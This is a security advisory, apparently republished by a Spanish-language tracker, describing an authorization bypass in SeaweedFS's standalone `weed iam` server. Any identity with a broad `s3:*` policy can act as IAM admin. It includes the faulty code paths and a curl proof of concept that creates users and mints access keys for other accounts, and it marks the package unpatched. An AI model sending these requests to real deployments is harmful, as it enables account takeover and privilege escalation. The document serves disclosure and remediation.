GHSA-JW56-GM6J-34MP
Standalone `weed iam` server grants any broad-policy S3 identity full IAM administration rights, allowing privilege escalation to admin
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-JW56-GM6J-34MP divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The standalone `weed iam` server (deprecated but still shipped in v4.40) routes all IAM management actions through a single `POST /` endpoint. The authorization check always calls `VerifyActionPermission` with an empty bucket and object, which causes the policy evaluator to resolve the IAM management action to `s3:*` against the resource ARN `arn:aws:s3:::`. Any policy statement containing `Action: s3:*` and `Resource: *`, a routine grant for S3 data-plane access, matches both, so the check passes. An authenticated S3 identity with no IAM administration rights can create users, mint access keys for arbitrary accounts, and attach admin policies to itself.
Deployment and configuration
- Components running: master, volume, filer, and the standalone `weed iam` server
- Attacker-reachable port: the `weed iam` HTTP port (default 8111)
- Authentication: IAM auth active; identities loaded from a `-config` file or the filer credential store. The attacker holds a valid access key for any identity that has one attached IAM policy with `Action: s3:*` and `Resource: *`.
- Attacker's starting position: a valid S3 user with a standard broad data-access policy. Not unauthenticated, and not an admin.
Trust boundary crossed: privilege escalation from a normal S3 user to administrative capability over the full IAM credential store.
Details
File: `weed/iamapi/iamapi_server.go`
Line 130 (registerRouter)
// Single POST / route — no bucket or object path variable.
// bucket="" and object="" flow into VerifyActionPermission for every request.
apiRouter.Methods(http.MethodPost).Path("/").
HandlerFunc(iama.iam.Auth(iama.DoActions, ACTION_ADMIN))The `Auth` middleware resolves to `VerifyActionPermission(r, identity, ACTION_ADMIN, "", "")`. For identities with attached IAM policies, `VerifyActionPermission` routes to `evaluateIAMPolicies`.
File: `weed/s3api/auth_credentials.go`
Lines 2368–2420 (evaluateIAMPolicies) — no empty-bucket guard
resource := buildResourceARN(bucket, resourceObject)
// bucket="" → buildResourceARN("","") → "arn:aws:s3:::"
s3Action := ResolveS3Action(r, string(action), bucket, resourceObject)
// bucket="" → falls through to mapBaseActionToS3Format("Admin") → "s3:*"
// Policy {"Action":"s3:*","Resource":"*"} matches both → explicitAllow = true`buildResourceARN("", "")` returns `"arn:aws:s3:::"`. `ResolveS3Action` with an empty bucket falls through to `mapBaseActionToS3Format("Admin")`, which returns `"s3:*"`. The policy statement `{"Effect":"Allow","Action":"s3:*","Resource":"*"}`, the direct equivalent of AWS's `AmazonS3FullAccess` managed policy, matches both values. The function returns `true` and `VerifyActionPermission` returns `ErrNone`, authorizing the caller.
The sibling function `CanDo`, used for legacy-actions identities, applies an explicit empty-bucket guard at line 1800 that `evaluateIAMPolicies` does not:
if bucket == "" {
return false // CanDo rejects empty bucket; evaluateIAMPolicies does not
}The current-default embedded IAM path (`weed s3 -iam=true`) is not affected. It passes a fixed pseudo-resource to `VerifyActionPermission`: `Action("iam:"+action)` and `"arn:aws:iam:::*"`. The `"iam:"` prefix prevents any `s3:*` policy from matching the action string. The standalone `weed iam` server was not updated to use the same approach.
PoC
Reproduced against a binary built from commit `5269d93fa8d2245cb12d76bcfe1096a12f3178f5` (08/05/26).
Identity `victim2` holds only `PowerUserPolicy`: `{"Effect":"Allow","Action":"s3:*","Resource":"*"}`. It has no `Actions:["Admin"]` field and no IAM-specific grant of any kind.
Attack: create a new IAM user
curl -s -X POST http://example:8111/ \
-H "Authorization: AWS4-HMAC-SHA256 Credential=victim2key/..." \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "Action=CreateUser&UserName=attacker-controlled&Version=2010-05-08"
# HTTP 200: <CreateUserResponse>...<UserName>attacker-controlled</UserName>...Expected: HTTP 403, because `victim2` holds no IAM administration rights.
Actual: HTTP 200. The user `attacker-controlled` is created in the credential store.
Escalation: mint a working access key for any existing user
curl -s -X POST http://example:8111/ \
-H "Authorization: AWS4-HMAC-SHA256 Credential=victim2key/..." \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "Action=CreateAccessKey&UserName=any-other-user&Version=2010-05-08"
# HTTP 200: live AccessKeyId and SecretAccessKey returned for a user victim2 does not ownExpected: HTTP 403.
Actual: HTTP 200. A new, working access key pair is returned for `any-other-user`, completing an account takeover without that user's knowledge.
Negative control: an identity with zero attached policies returns HTTP 403 on the same request, confirming the bypass is specific to identities with broad `s3:*` policy statements.
Impact
Any deployment running the standalone `weed iam` server alongside IAM-enabled S3, with at least one identity that holds a broad data-plane policy, is vulnerable.
An attacker with a valid S3 access key for such an identity can do the following:
- Create new IAM users and access keys with arbitrary names
- Mint live access key pairs for any existing user in the credential store, taking over their account without their credentials or knowledge
- Attach admin policies to itself or any user, permanently escalating to full administrative access
- Delete users or access keys belonging to other accounts in the credential store
No additional privileges beyond a standard S3 data-access key are required.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-jw56-gm6j-34mpLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
